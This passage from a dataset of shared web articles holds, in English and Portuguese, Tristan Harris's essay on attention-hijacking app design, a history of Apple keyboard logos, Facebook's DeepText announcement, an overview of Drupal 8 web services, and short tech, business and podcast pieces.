of unnecessary interruptions each day. This is a huge problem we need to fix with shared design standards (potentially, as part of Time Well Spent ). Hijack #8: Bundling Your Reasons with Their Reasons Another way apps hijack you is by taking your reasons for visiting the app (to perform a task) and make them inseparable from the app's business reasons (maximizing how much we consume once we're there). For example, in the physical world of grocery stories, the #1 and #2 most popular reasons to visit are pharmacy refills and buying milk. But grocery stores want to maximize how much people buy, so they put the pharmacy and the milk at the back of the store. In other words, they make the thing customers want (milk, pharmacy) inseparable from what the business wants. If stores were truly organized to support people , they would put the most popular items in the front . Facebook gave you a separate Address Book (to search for friends, add connections, or find someone's contact information) without being forced to use their news feed. Facebook gave a separate way to host Facebook Events (or look up events) without being forced to use their news feed. Facebook gave you a separate way to use Facebook Connect as a passport to quickly create accounts on apps and websites, without being forced to use Facebook's app, news feed and notifications. Email gave you a separate way to look up and reply to a specific message, without being forced to see all new unread messages. Tech companies design their websites the same way. For example, when you you want to look up a Facebook event happening tonight (your reason) the Facebook app doesn't allow you to access it without first landing on the news feed (their reasons), and that's on purpose. Facebook wants to convert every reason you have for using Facebook, into their reason which is to maximize the time you spend consuming things . Instead, imagine if ... In an ideal world, there is always a direct way to get what you want separately from what businesses want. Imagine a digital ""bill of rights"" outlining design standards that forced the products used by billions of people to support empowering ways for them to navigate toward their goals. ""If you don't like it you can always use a different product."" ""If you don't like it, you can always unsubscribe."" ""If you're addicted to our app, you can always uninstall it from your phone."" Hijack #9: Inconvenient Choices We're told that it's enough for businesses to ""make choices available."" Businesses naturally want to make the choices they want you to make easier, and the choices they don't want you to make harder. Magicians do the same thing. You make it easier for a spectator to pick the thing you want them to pick, and harder to pick the thing you don't. For example, NYTimes.com lets you ""make a free choice"" to cancel your digital subscription. But instead of just doing it when you hit ""Cancel Subscription,"" they send you an email with information on how to cancel your account by calling a phone number that's only open at certain times. Instead of viewing the world in terms of availability of choices , we should view the world in terms of friction required to enact choices . Imagine a world where choices were labeled with how difficult they were to fulfill (like coefficients of friction) and there was an independent entity - an industry consortium or non-profit - that labeled these difficulties and set standards for how easy navigation should be. Hijack #10: Forecasting Errors, ""Foot in the Door"" strategies Lastly, apps can exploit people's inability to forecast the consequences of a click. People don't intuitively forecast the true cost of a click when it's presented to them. Sales people use ""foot in the door"" techniques by asking for a small innocuous request to begin with (""just one click to see which tweet got retweeted"") and escalate from there (""why don't you stay awhile?""). Virtually all engagement websites use this trick. Imagine if web browsers and smartphones, the gateways through which people make these choices, were truly watching out for people and helped them forecast the consequences of clicks (based on real data about what benefits and costs it actually had ?). That's why I add ""Estimated reading time"" to the top of my posts. When you put the ""true cost"" of a choice in front of people, you're treating your users or audience with dignity and respect. In a Time Well Spent internet, choices could be framed in terms of projected cost and benefit, so people were empowered to make informed choices by default, not by doing extra work. Summary And How We Can Fix This Are you upset that technology hijacks your agency? I am too. I've listed a few techniques but there are literally thousands. Imagine whole bookshelves, seminars, workshops and trainings that teach aspiring tech entrepreneurs techniques like these. Imagine hundreds of engineers whose job every day is to invent new ways to keep you hooked. Tristan Harris was a Product Philosopher at Google until 2016 where he studied how technology affects a billion people's attention, wellbeing and behavior. For more resources on Time Well Spent, see UPDATE: The first version of this post lacked acknowledgements to those who inspired my thinking over many years including My thinking on menus and choicemaking are deeply rooted in Joe Edelman's work on Human Values and Choicemaking . Joe Edelman , Aza Raskin , Raph D'Amico , Jonathan Harris and Damon Horowitz . . The ultimate freedom is a free mind, and we need technology that's on our team to help us live, feel, think and act freely. We need our smartphones, notifications screens and web browsers to be exoskeletons for our minds and interpersonal relationships that put our values, not our impulses, first. People's time is valuable . And we should protect it with the same rigor as privacy and other digital rights.",en
1464874810,CONTENT SHARED,2285392309373358857,-709287718034731589,2379180870399543369,,,,HTML,http://www.roughlydrafted.com/2007/08/11/how-apple-keyboards-lost-a-logo-and-windows-pcs-gained-one/,How Apple Keyboards Lost a Logo and Windows PCs Gained One,"Daniel Eran Dilger A variety of bloggers have been commenting on the removal of the Apple logo from the new aluminum keyboards on the refreshed iMac release this week. They've explained why Steve Jobs took the Apple logo off back in the mid 80s, but nobody explains how it snuck back on since then. En Español: Como fue que los teclados de Apple perdieron un logo y las PC con Windows ganaron uno Traducción : Cuauhtémoc Amox [ New Apple Hardware: iMac, Mac mini, AirPort, RAID ] Before the Mac. Prior to the Macintosh, Apple was making its money from the Apple II line. Not only was the company's development of the Macintosh sponsored entirely by Apple II sales, but sales of those earlier computers kept it alive through an unexpectedly weak initial demand for Macs. The Apple II was an 8-bit computer based on the 6502 processor. It launched Apple to fame in large part due to the built-in color capabilities designed by Steve Wozniak, Apple's cofounder and original hardware genius. The Woz also included eight expansion slots in his design, ensuring that the Apple II could adapt to fit new uses with expansion cards. Steve Jobs reportedly argued against the slots as unnecessary in a consumer PC The Apple II keyboard had a variety of keys patterned after the conventions of teletype systems from the 1970s, including a control key, which when typed with a letter, would invoke a special action. The Apple III, released to commercial failure in 1980, was designed with two new Apple logo keys: one a solid logo and one an outline. After the Apple III failed, Apple recycled portions of its technology into new Apple II products, including its SOS, the Sophisticated Operating System. Released in 1983, the Apple IIe added those two special Apple logo keys on either side of the space bar: an ""Open Apple"" and ""Closed Apple"" key, each of which could be used to perform special character combinations. These keys were also mapped to the buttons on Apple's analog joystick control. Apple continued to sell the Apple IIe for the next ten years, making it one of the longest lasting models of a desktop computer ever. [ 1980-1985: 8-bit Platforms ] Lisa and the Mac. For its new leap into the 80s, Apple developed an entirely new platform based on the much more powerful Motorola 68000 processor. The Lisa and the Mac both intended to serve as a complete computing package, a clean break from the earlier computers designed to act like text-based terminals. Their bit-mapped graphic display allowed them to draw any character in any typeface. The groundbreaking technology of the Lisa positioned it as a pricey business machine; it also shipped with a complete suite of office applications. While significantly cheaper than the $16,000 graphical systems developed by Xerox, the Lisa still didn't capture widespread attention with its $10,000 price. At a more affordable $2500, the Macintosh did. It promised to bring the cutting edge of graphical computing-originally envisioned by Xerox-to regular desktop users, enhanced with Apple's software tools to develop applications with a consistent overall user interface. [ 1985-1990: 16-bit Graphical Computing ] New Keys for a New Platform. The original Mac keyboard needed to provide keys for commands similar to the Open Apple key used by the Apple II. Because its graphical display could depict the key's logo right in the onscreen menus, Jobs decided that using an Apple logo would cheapen the brand by littering scores of Apple logos throughout its menus. In place of the Apple logo, a more generic propeller icon was found for the Mac keyboard: Andy Hertzfeld explained on Folklore.org that Mac icon artist Susan Kare selected the new Command key icon from a symbol used to represent features of interest on campground maps in Sweden. [ Macintosh Stories: Swedish Campground - Folklore ] Option. The Mac also got an Option key for typing alternative key characters. Used with or without the shift, it provided a way to enter four different letters per key. Option could also be used in key sequences with the shift and Command key, and in later versions of the Mac OS, characters could also be assigned diacritical marks using the Option key. For example, an umlaut can be added to a character by typing Option and U to get the two dots, ¨ then typing the desired character to add it underneath, such as ë. Windows requires users to type in an arbitrary number sequence to enter such a character: type Alt plus 0235, or look it up on a visual chart of keys. The Apple II Strikes Back. The hardware required by features of the Mac, particularly the increased RAM it required to deliver a graphical display, made it too expensive for many home and education users. Apple continued to make more money on the Apple II than the Macintosh. In an effort to update the rapidly aging Apple II line and give it some of the capabilities of the Macintosh, Apple released the Apple IIGS in 1986. Largely the brainchild of Wozniak, the Apple IIGS used a 16-bit version of the 6502, the 65C816, later used in the Super Nintendo. It was also Apple's first graphical system that rendered a QuickDraw-based windowing environment in color, although its limited display resolution hampered its capabilities. [ Why Apple Hasn't Used Intel Processors Before ] ADB Keyboards. Another pioneering bit of technology first delivered in the Apple IIGS was Apple Desktop Bus, a way to connect together a variety of input devices using a standard port. Prior to ADB, the early Macs' keyboard connected via a telephone-style RJ11 cable, while the mouse used its own DB9 connector like the original Atari joysticks. With ADB, a mouse could be connected to either side of the keyboard for right or left handed users, and additional trackballs, graphic tablets, and even other keyboards could all be chained together without any serial port configurations. A year later in 1987, IBM released its new vision of the PC, called PS/2; it only offered a standard port for the mouse and another identical but unique port for the keyboard, a mistake that would plague PC users for the next two decades. Earlier PCs had used a mouse connected to a regular serial port. Apple's new ADB system was intended to be used on the Mac as well, so Apple incorporated both the control and Apple logo keys used by Apple II software and the Command and Option keys used on the Mac. Starting with the Apple IIGS, the Open Apple key officially became the Command key, and the Closed Apple key was assigned to Option. Apple II users continued to call it ""Open Apple."" Command Control Confusion. Merging the conventions of the 80s Mac and the 70s Apple II also resulted in the control key being left to perform terminal emulation functions, while the command key was kept unique to commands used in the graphical desktop environment. Standard Apple key combinations, such as Command O to open a file, had no equal in the mixed up world of DOS, where every app invented its own key combinations. To simply open a file: WordPerfect used the command F7 + 3. WordStar used Ctrl + K + O. Lotus 1-2-3 used / to open the menu, W for Workspace + R for Retrieve. Microsoft Word used Esc to open the menu, T for Transfer + L for Load. When Microsoft delivered Windows as its copycat, competing version of the Mac desktop for DOS users, it simply mapped the standard key commands Apple had originated-including the familiar Command S, Z, X, C, V for save, undo, cut, copy, paste-to control key combinations on the PC. This was another shortsighted PC mistake that would become an unsolvable annoyance for users. [ 1985-1990: 16-bit Graphical Computing ] Blaming Apple for Microsoft's Mistake. Microsoft later used its OEM leverage with Windows 95 to get PC hardware makers to put a Microsoft logo key on their keyboards. However, since Microsoft had already assigned common key shortcuts to the control key, there was little for the new Windows key to do apart from opening the Start menu. DOS software makers and users were at first reluctant to adopt the new key shortcuts Apple had designated as part of the Mac human interface guidelines, preferring to type the unintuitive codes they'd grown accustomed to. A decade after Microsoft copied Apple's Command key but mixed it up with control, many Windows Enthusiasts think the problem lies with Apple's ""non standard"" use of Command rather than control. It seems they don't understand why it is useful to draw a distinction between control-C, used to cancel an operation in a terminal environment, and Command-C, used to copy content in a desktop setting. There is no difference in Windows. Microsoft also added a special key for opening contextual menus, featuring the icon of a pointer on a menu. The key simply acts like the right mouse button; it's not only superfluous and clumsy for PCs using two button mice, but also less elegant than Apple's convention for using control-clicking to bring up a menu with the mouse. Microsoft's contextual menu key is also typically placed on the right side of the keyboard, making it even more puzzlingly useless for right handed users. They'd have to hit the right side of the keyboard with their left hand while pointing the mouse with their right. What was Microsoft's Chief Architect thinking? Most Windows PC users are unaware of the use of either the Windows key or the contextual menu key, and some PC hardware makers refused to add the keys to their keyboards, the most notable being IBM. Mac Integration with Windows. As it became increasingly useful for Mac users to emulate Windows or work in shared environments, the Option key on Macs became equated with the Alt key on PCs, and the Command key was associated with the ineffectual Windows Start button. Microsoft now has no way to undo its mistake of mixing up control and Command, meaning that users moving between the Mac OS and Windows have to do some extra thinking to know which key to hit, a problem that is particularly annoying in a virtual environment. Since Mac keyboards no longer need to support the idea of the Apple II's Open Apple key, and since non-technical users had no way to guess that the Command key is represented by an Apple logo and a propeller, the latest keyboards now simply have the word ""command"" on them. And so it is that Apple keyboards now lack the Apple logo, while PC keyboards have a Microsoft logo that does little. That's certainly not the only example of the unsolvable issues for PCs created by the combination of Microsoft's overwhelmingly powerful monopoly marketing muscle and its weak and flawed technical contributions. Microsoft has delayed the progress of new technology into mainstream in far more significant ways, which also relate to the scandalous past of Daniel Lyons, the real FSJ... [ Daniel Lyons: Fake Steve Jobs and the SCO Shill Who Hated Linux ] What do you think? I really like to hear from readers. Comment in the or with your ideas. Like reading RoughlyDrafted? Share articles with your friends, link from your blog, and to my podcast! Submit to Reddit or Slashdot, or consider making a small donation supporting this site. Thanks! Technorati Tags: Apple , History , Microsoft",en
1464875302,CONTENT SHARED,1118048247334038458,-8020832670974472349,2348433893919184737,,,,HTML,https://code.facebook.com/posts/181565595577955/introducing-deeptext-facebook-s-text-understanding-engine/,Introducing DeepText: Facebook's text understanding engine,"Text is a prevalent form of communication on Facebook. Understanding the various ways text is used on Facebook can help us improve people's experiences with our products, whether we're surfacing more of the content that people want to see or filtering out undesirable content like spam. With this goal in mind, we built DeepText, a deep learning-based text understanding engine that can understand with near-human accuracy the textual content of several thousands posts per second, spanning more than 20 languages. DeepText leverages several deep neural network architectures, including convolutional and recurrent neural nets, and can perform word-level and character-level based learning. We use FbLearner Flow and Torch for model training. Trained models are served with a click of a button through the FBLearner Predictor platform, which provides a scalable and reliable model distribution infrastructure. Facebook engineers can easily build new DeepText models through the self-serve architecture that DeepText provides. Why deep learning Text understanding includes multiple tasks, such as general classification to determine what a post is about - basketball, for example - and recognition of entities, like the names of players, stats from a game, and other meaningful information. But to get closer to how humans understand text, we need to teach the computer to understand things like slang and word-sense disambiguation. As an example, if someone says, ""I like blackberry,"" does that mean the fruit or the device? Text understanding on Facebook requires solving tricky scaling and language challenges where traditional NLP techniques are not effective. Using deep learning, we are able to understand text better across multiple languages and use labeled data much more efficiently than traditional NLP techniques. DeepText has built on and extended ideas in deep learning that were originally developed in papers by Ronan Collobert and Yann LeCun from Facebook AI Research. Understanding more languages faster The community on Facebook is truly global, so it's important for DeepText to understand as many languages as possible. Traditional NLP techniques require extensive preprocessing logic built on intricate engineering and language knowledge. There are also variations within each language, as people use slang and different spellings to communicate the same idea. Using deep learning, we can reduce the reliance on language-dependent knowledge, as the system can learn from text with no or little preprocessing. This helps us span multiple languages quickly, with minimal engineering effort. Deeper understanding In traditional NLP approaches, words are converted into a format that a computer algorithm can learn. The word ""brother"" might be assigned an integer ID such as 4598, while the word ""bro"" becomes another integer, like 986665. This representation requires each word to be seen with exact spellings in the training data to be understood. With deep learning, we can instead use ""word embeddings,"" a mathematical concept that preserves the semantic relationship among words. So, when calculated properly, we can see that the word embeddings of ""brother"" and ""bro"" are close in space. This type of representation allows us to capture the deeper semantic meaning of words. Using word embeddings, we can also understand the same semantics across multiple languages, despite differences in the surface form. As an example, for English and Spanish, ""happy birthday"" and ""feliz cumpleaños"" should be very close to each other in the common embedding space. By mapping words and phrases into a common embedding space, DeepText is capable of building models that are language-agnostic. Labeled data scarcity Written language, despite the variations mentioned above, has a lot of structure that can be extracted from unlabeled text using unsupervised learning and captured in embeddings. Deep learning offers a good framework to leverage these embeddings and refine them further using small labeled data sets. This is a significant advantage over traditional methods, which often require large amounts of human-labeled data that are inefficient to generate and difficult to adapt to new tasks. In many cases, this combination of unsupervised learning and supervised learning significantly improves performance, as it compensates for the scarcity of labeled data sets. Exploring DeepText on Facebook DeepText is already being tested on some Facebook experiences. In the case of Messenger, for example, it is beginning to give us a better understanding of when someone might want to go somewhere. DeepText is used for intent detection and entity extraction to help realize that a person is not looking for a taxi when he or she says something like, ""I just came out of the taxi,"" as opposed to ""I need a ride."" We're also beginning to use high-accuracy, multi-language DeepText models to help people find the right tools for their purpose. For example, someone could write a post that says, ""I would like to sell my old bike for $200, anyone interested?"" DeepText would be able to detect that the post is about selling something, extract the meaningful information such as the object being sold and its price, and prompt the seller to use existing tools that make these transactions easier through Facebook. DeepText has the potential to further improve Facebook experiences by understanding posts better to extract intent, sentiment, and entities (e.g., people, places, events), using mixed content signals like text and images, and automating the removal of objectionable content like spam. Many celebrities and public figures use Facebook to start conversations with the public. These conversations often draw hundreds or even thousands of comments. Finding the most relevant comments in multiple languages while maintaining comment quality is currently a challenge. One additional challenge that DeepText may be able to address is surfacing the most relevant or high-quality comments. Next steps We are continuing to advance DeepText technology and its applications in collaboration with the Facebook AI Research group. Here are some examples. Better understanding people's interests Part of personalizing people's experiences on Facebook is recommending content that is relevant to their interests. In order to do this, we must be able to map any given text to a particular topic, which requires massive amounts of labeled data. While such data sets are hard to produce manually, we are testing the ability to generate large data sets with semi-supervised labels using public Facebook pages. It's reasonable to assume that the posts on these pages will represent a dedicated topic - for example, posts on the Steelers page will contain text about the Steelers football team. Using this content, we train a general interest classifier we call PageSpace, which uses DeepText as its underlying technology. In turn, this could further improve the text understanding system across other Facebook experiences. Joint understanding of textual and visual content Often people post images or videos and also describe them using some related text. In many of those cases, understanding intent requires understanding both textual and visual content together. As an example, a friend may post a photo of his or her new baby with the text ""Day 25."" The combination of the image and text makes it clear that the intent here is to share family news. We are working with Facebook's visual content understanding teams to build new deep learning architectures that learn intent jointly from textual and visual inputs. New deep neural network architectures We continue to develop and investigate new deep neural network architectures. Bidirectional recurrent neural nets (BRNNs) show promising results, as they aim to capture both contextual dependencies between words through recurrence and position-invariant semantics through convolution. We have observed that BRNNs achieve lower error rates than regular convolutional or recurrent neural nets for classification; in some cases the error rates are as low as 20 percent. While applying deep learning techniques to text understanding will continue to enhance Facebook products and experiences, the reverse is also true. The unstructured data on Facebook presents a unique opportunity for text understanding systems to learn automatically on language as it is naturally used by people across multiple languages, which will further advance the state of the art in natural language processing.",en
1464875897,CONTENT SHARED,3306277069425849869,9109075639526981934,3973684612244026225,,,,HTML,http://computerworld.com.br/google-segue-microsoft-e-lanca-ferramenta-analitica-gratis,Google segue Microsoft e lança ferramenta analítica grátis,"O Google está intensificando seu compromisso com o mercado de ferramentas analíticas corporativas. A companhia acaba de lançar uma nova ferramenta gratuita para visualização de dados. O Data Studio, versão grátis de um Sistema de visualização de dados, chega como parte da suíte de tecnologias de analytics apresentadas pela empresa há alguns meses. A solução inclui uma variedade de conectores que permite que usuários conectem outras ferramentas como o AdWords e Sheets, por exemplo. O sistema também se integra ao BigQuery. A empresa planeja, ainda, disponibilizar conectores com bancos de dados SQL ainda esse ano. O produto concorre contra o Microsoft Power BI, um dos principais lançamentos da fabricante do Windows sob o comando de Satya Nadella. O Google afirma que o Data Studio garante a empresas coletarem dados de uma variedade de fontes e, a partir disso, gerar relatórios para serem compartilhados interna e externamente, fornecendo melhor compreensão de grandes volumes de dados. Os relatórios incluem gráficos, planilhas, mapas de calor ou outros modelos visualmente úteis aos usuários. Empresas que quiserem recursos mais amplos poderão comprar licenças do serviço Data Studio 360. A camada gratuita, porém, dá aos clientes uma forma de testar a tecnologia e ver se é aderente a suas demandas. A grande diferença entre os dois produtos, de fato, é o número de reports que cada usuário pode criar - clientes da versão grátis podem gerar cinco relatórios.",pt
1464876125,CONTENT SHARED,-7812176982819372240,5660542693104786364,-6767030235092364675,,,,HTML,http://iradex.net/podcasts/setereinospodcast/,Sete Reinos,"Povo Westerosi! Continuamos nossa cobertura da 6ª temporada da série e falamos hoje sobre esse segundo episódio que trouxe tantas emoções. Ah, e dessa vez temos uma surpresinha no final do programa pra quem curte um papo com spoilers! Spoilers até o 2º episódio da 6ª Temporada da série. Links Sobre O Sete Reinos é um podcast quinzenal sobre o universo criado por George RR Martin para o livro As Crônicas de Gelo e Fogo. Aqui, abordaremos Game of Thrones (Guerra dos Tronos) como uma franquia, passando por literatura, TV, games, jogos de tabuleiro e demais escritos do velho Martin. Quando a série da HBO estiver em cartaz, faremos uma edição do podcast a cada dois episódios inéditos da série. Assine o Sete Reinos Contatos",pt
1464876516,CONTENT SHARED,-5826278791285476287,3106760029136205156,3423614132079502687,,,,HTML,https://m.signalvnoise.com/we-only-hire-the-best-c711c330fc2e?gi=e397dc657065,"""We only hire the best"" - Signal v. Noise","""We only hire the best"" How many times have you heard a company claim that they only hire the best? The top of the top. The crème de la crème. Most of them, by sheer necessity of math, are delusional. There just aren't that many ""the best"" to go around. What these companies generally mean is that they hired ""the best"" of the candidates that applied. Whoopty fucking doo. That's what all companies generally do (the special ones hire for best team, not just best candidates). Failing to see the difference between ""best candidates who applied"" and ""the best in the business"" is exactly the kind of Dunning-Kruger thinking that deludes companies into these grandiose proclamations. This gets even more hilarious when companies willfully narrow the pool of potential candidates with bullshit filters. Like, ""must be local to San Francisco"" or ""10+ years of experience required"" or ""fancy college degree preferred"". Here's stating the obvious: The best people don't all live in San Francisco. Many of them have far fewer than a decade's worth of experiences in your current environment. And certainly, the bulk of them did not go to some fancy college you idolize. You know what the best people I've ever met or worked with had in common? ALMOST NOTHING! Certainly nothing that could be codified in the form of a list you can filter candidates through by automation. The best are generally the best because they aren't typical. Because they came at things from a different angle that gave them a unique perspective, which happens to provide more insights than the widely-distributed approaches. But even diving into an examination of what characterizes ""the best"" is missing the point. First, ""the best"" is bound to be situational. Someone who can thrive in one environment might get crushed in another. The peak skills that gave them a leg-up in one domain may very well make them unfit for work in another. What's more, even if you could assemble an elite squad of all ""bests"", it'd probably suck. Because a team can only contain so much peak uniqueness before it's pulled apart by all this ""excellence"". It can't be all chiefs and no indians. (Did you see Hamilton and Rosberg collide in Formula 1 last week? Mercedes probably wish they had more of a Vettel and Webber kind of dynamic right now.) Mostly importantly, though, is the myopia of putting the burden of excellence on individual candidates and not on the company itself. Does this company even have a chance of cultivating, let alone keeping, the best? If they're making delusional proclamations like ""we only hire the best"", then the odds are slim and shady. You're more likely to find that these kinds of companies mistake excellence for shit like ""fancy VCs wrote us a big check"" or ""we once had a hit product"" or ""game consoles and colored couches makes staying at the office all night long so FUN!"". It's great for a company to have aspirations, but recognizing the difference between what you'd like to be true and what actually is serves as a prerequisite for closing that gap.",en
1464876817,CONTENT SHARED,2601622077116449484,5660542693104786364,-6767030235092364675,,,,HTML,http://economia.ig.com.br/2016-05-31/bancos-brasileiros-fecham-200-agencias-em-2015.html,Bancos brasileiros fecham 200 agências em 2015 - Home - iG,"Arquivo/Agência Brasil Segmento retornou ao patamar de 2013 em número de agências Os bancos brasileiros fecharam 200 agências no ano passado, somando 22,9 mil unidades na comparação com o total de 23,1 mil de 2014, conforme dados do Banco Central publicados nesta terça-feira, 31, pela Federação Brasileira de Bancos (Febraban). Além de ser a primeira queda nos últimos anos, considerando que o total corresponde a 17 bancos responsáveis por 96% da rede física no Brasil, o segmento retornou ao patamar de 2013 em número de agências. Gustavo Fosse, diretor setorial de tecnologia e automação bancária da Febraban, explicou, em coletiva de imprensa, nesta manhã, que a redução das agências físicas assim como a vista em correspondentes bancários e postos de atendimento (PABs) reflete a conjuntura econômica do País, as estratégias de cada banco e também a preferência dos clientes que têm recorrido mais fortemente aos canais digitais. ""Apesar do ajuste no ano passado os meios físicos se mantêm muito relevantes. Não vejo como uma tendência, mas como um ajuste"", afirmou ele, a jornalistas. De acordo com o diretor da Febraban, o ritmo de abertura ou fechamento de agências será ditado pelos próprios clientes. No entanto, os bancos, na sua opinião, têm preferido manter a rede física, mas alteraram o seu perfil, principalmente, nos grandes centros, com foco mais no perfil consultivo e operações mais customizadas como, por exemplo, o financiamento imobiliário. ""Seria ruim automatizar isso também"", destacou, acrescentando que há ainda serviços e produtos que não contam com regulamentação para serem automatizados em canais digitais. Sobre o impacto da concentração bancária no fechamento das agências no Brasil, com a venda do HSBC para o Bradesco e a eventual saída do Citibank da área de varejo no País, Fosse afirmou que a redução na rede física pode ocorrer, mas não soube dizer em qual intensidade. ""O que discutimos na Febraban é que, independente dos fatores, os bancos mantenham a qualidade do serviço e atendimento"", afirmou Fosse. PABs e PAEs Assim como o número de agências, a quantidade de PABs e de postos de atendimento eletrônico (PAEs) reduziram em quase 11% no ano passado, para 45,5 mil contra 51,0 mil em 2014, de acordo com a pesquisa da Febraban. Apesar da queda no número absoluto de agências físicas, a distribuição regional, conforme a Febraban, permaneceu estável no ano passado. A região Sudeste permaneceu com a maior rede física, de 12,1 mil agências e participação de 52%. Na sequência ficou o Sul com 4,3 mil unidades e fatia de 19%. Nordeste permaneceu na terceira colocação com um total de 3,6 mil agências e participação de 16%, seguida do Centro-Oeste (1,8 mil e 8%) e Norte (1,1 mil e 5%).",pt
1464879671,CONTENT SHARED,7277161137091492767,3891637997717104548,4240699853832706755,,,,HTML,http://buytaert.net/an-overview-of-web-service-solutions-in-drupal-8,An overview of web service solutions in Drupal 8,"Today's third-party applications increasingly depend on web services to retrieve and manipulate data, and Drupal offers a range of web services options for API-first content delivery. For example, a robust first-class web services layer is now available out-of-the-box with Drupal 8. But there are also new approaches to expose Drupal data, including Services and newer entrants like RELAXed Web Services and GraphQL. The goal of this blog post is to enable Drupal developers in need of web services to make an educated decision about the right web services solution for their project. This blog post also sets the stage for a future blog post, where I plan to share my thoughts about how I believe we should move Drupal core's web services API forward. Getting aligned on our strengths and weaknesses is an essential first step before we can brainstorm about the future. The Drupal community now has a range of web services modules available in core and as contributed modules sharing overlapping missions but leveraging disparate mechanisms and architectural styles to achieve them. Here is a comparison table of the most notable web services modules in Drupal 8: Core RESTful Web Services Thanks to the Web Services and Context Core Initiative (WSCCI), Drupal 8 is now an out-of-the-box REST server with operations to create, read, update, and delete (CRUD) content entities such as nodes, users, taxonomy terms, and comments. The four primary REST modules in core are: Serialization is able to perform serialization by providing normalizers and encoders. First, it normalizes Drupal data (entities and their fields) into arrays with a particular structure. Any normalization can then be sent to an encoder, which transforms those arrays into data formats such as JSON or XML. RESTful Web Services allows for HTTP methods to be performed on existing resources including but not limited to content entities and views (the latter facilitated through the ""REST export"" display in Views) and custom resources added through REST plugins. builds on top of the Serialization module and adds the Hypertext Application Language normalization, a format that enables you to design an API geared toward clients moving between distinct resources through hyperlinks. allows you to include a username and password with request headers for operations requiring permissions beyond that of an anonymous user. It should only be used with HTTPS. Core REST adheres strictly to REST principles in that resources directly match their URIs (accessible via a query parameter, e.g. ?_format=json for JSON) and in the ability to serialize non-content into JSON or XML representations. By default, core REST also includes two authentication mechanisms: basic authentication and cookie-based authentication. While core REST provides a range of features with only a few steps of configuration there are several reasons why other options, available as contributed modules, may be a better choice. Limitations of core REST include the lack of support for configuration entities as well as the inability to include file attachments and revisions in response payloads. With your help, we can continue to improve and expand core's REST support. RELAXed Web Services As I highlighted in my recent blog post about improving Drupal's content workflow , RELAXed Web Services , is part of a larger suite of modules handling content staging and deployment across environments. It is explicitly tied to the CouchDB API specification , and when enabled, will yield a REST API that operates like the CouchDB REST API. This means that CouchDB integration with client-side libraries such as PouchDB and Hood.ie makes possible offline-enabled Drupal, which synchronizes content once the client regains connectivity. Moreover, people new to Drupal with exposure to CouchDB will immediately understand the API, since there is robust documentation for the endpoints. RELAXed Web Services depends on core's REST modules and extends its functionality by adding support for translations, parent revisions (through the Multiversion module), file attachments, and especially cross-environment UUID references, which make it possible to replicate content to Drupal sites or other CouchDB compatible services. UUID references and revisions are essential to resolving merge conflicts during the content staging process. I believe it would be great to support translations, parent revisions, file attachments, and UUID references in core's RESTful web services - we simply didn't get around to them in time for Drupal 8.0.0. Services Since RESTful Web Services are now incorporated into Drupal 8 core, relevant contributed modules have either been superseded or have gained new missions in the interest of extending existing core REST functionality. In the case of Services , a popular Drupal 7 module for providing Drupal data to external applications, the module has evolved considerably for its upcoming Drupal 8 release. With Services in Drupal 8 you can assign a custom name to your endpoint to distinguish your resources from those provisioned by core and also provision custom resources similar to core's RESTful Web Services. In addition to content entities, Services supports configuration entities such as blocks and menus - this can be important when you want to build a decoupled application that leverages Drupal's menu and blocks system. Moreover, Services is capable of returning renderable objects encoded in JSON, which allows you to use Drupal's server-side rendering of blocks and menus in an entirely distinct application. At the time of this writing, the Drupal 8 version of Services module is not yet feature-complete: there is no test coverage, no content entity validation (when creating or modifying), no field access checking, and no CSRF protection, so caution is important when using Services in its current state, and contributions are greatly appreciated. GraphQL GraphQL, originally created by Facebook to power its data fetching, is a query language that enables fewer queries and limits response bloat. Rather than tightly coupling responses with a predefined schema, GraphQL overturns this common practice by allowing for the client's request to explicitly tailor a response so that the client only receives what it needs: no more and no less. To accomplish this, client requests and server responses have a shared shape . It doesn't fall into the same category as the web services modules that expose a REST API and as such is absent from the table above. GraphQL shifts responsibility from the server to the client: the server publishes its possibilities, and the client publishes its requirements instead of receiving a response dictated solely by the server. In addition, information from related entities (e.g. both a node's body and its author's e-mail address) can be retrieved in a single request rather than successive ones. Typical REST APIs tend to be static (or versioned, in many cases, e.g. /api/v1 ) in order to facilitate backwards compatibility for applications. However, in Drupal's case, when the underlying content model is inevitably augmented or otherwise changed, schema compatibility is no longer guaranteed. For instance, when you remove a field from a content type or modify it, Drupal's core REST API is no longer compatible with those applications expecting that field to be present. With GraphQL's native schema introspection and client-specified queries, the API is much less opaque from the client's perspective in that the client is aware of what response will result according to its own requirements. I'm very bullish on the potential for GraphQL, which I believe makes a lot of sense in core in the long term. I featured the project in my Barcelona keynote ( demo video ), and Acquia also sponsored development of the GraphQL module (Drupal 8 only) following DrupalCon Barcelona. The GraphQL module, created by Sebastian Siemssen , now supports read queries, implements the GraphiQL query testing interface, and can be integrated with Relay (with some limitations ). Conclusion For most simple REST API use cases, core REST is adequate, but core REST can be insufficient for more complex use cases. Depending on your use case, you may need more off-the-shelf functionality without the need to write a resource plugin or custom code, such as support for configuration entity CRUD (Services); for revisions, file attachments, translations, and cross-environment UUIDs (RELAXed); or for client-driven queries (GraphQL). Special thanks to Preston So for contributions to this blog post and to Moshe Weitzman , Kyle Browning , Kris Vanderwater , Wim Leers , Sebastian Siemssen , Tim Millwood and Ted Bowman for their feedback during its writing.",en
1464879718,CONTENT SHARED,880612740433495828,6013226412048763966,3831181614891772761,,,,HTML,http://vocerh.uol.com.br/noticias/entrevista/o-que-voce-deve-fazer-para-se-tornar-um-lider-melhor.phtml,O que você deve fazer para se tornar um líder melhor?,"Para ser um grande coach, você deve fazer mais perguntas em vez de tentar dar todas as respostas Marcelo Nóbrega* Bom líder: executivos em posição gerencial sentem-se compelidos a rapidamente orientar suas equipes no que e como fazer | Crédito: Pexels O segredo de todo bom líder é ter uma equipe de sucesso - é o que dizem nove entre dez gurus da administração. E como armar uma equipe de sucesso? Dando coaching. E como ser um grande coach e fazer coaching bem feito? A resposta é surpreendentemente simples. Você deve fazer mais perguntas em vez de tentar dar todas as respostas. É o que ensina Michael Bungay Stainer no livro The Coaching Habit (ainda sem tradução para o português). Michael é consultor de empresas, coach e autor de vários livros. Em suas próprias palavras, seu trabalho é ajudar executivos a causar maior impacto trabalhando menos. De forma Inteligente, sagaz, articulada e bem-humorada, Michael apresenta as sete perguntas que transformarão a maneira como você lidera sua equipe. Executivos em posição gerencial sentem-se compelidos a rapidamente orientar suas equipes no que e como fazer. Se você ocupa uma posição gerencial, tenho certeza de que sua reação quando um colaborador lhe apresenta um problema é tentar resolvê-lo, dar conselhos, agir e apagar o incêndio. Afinal, você é o chefe e sabe mais, certo? O que você não percebe é 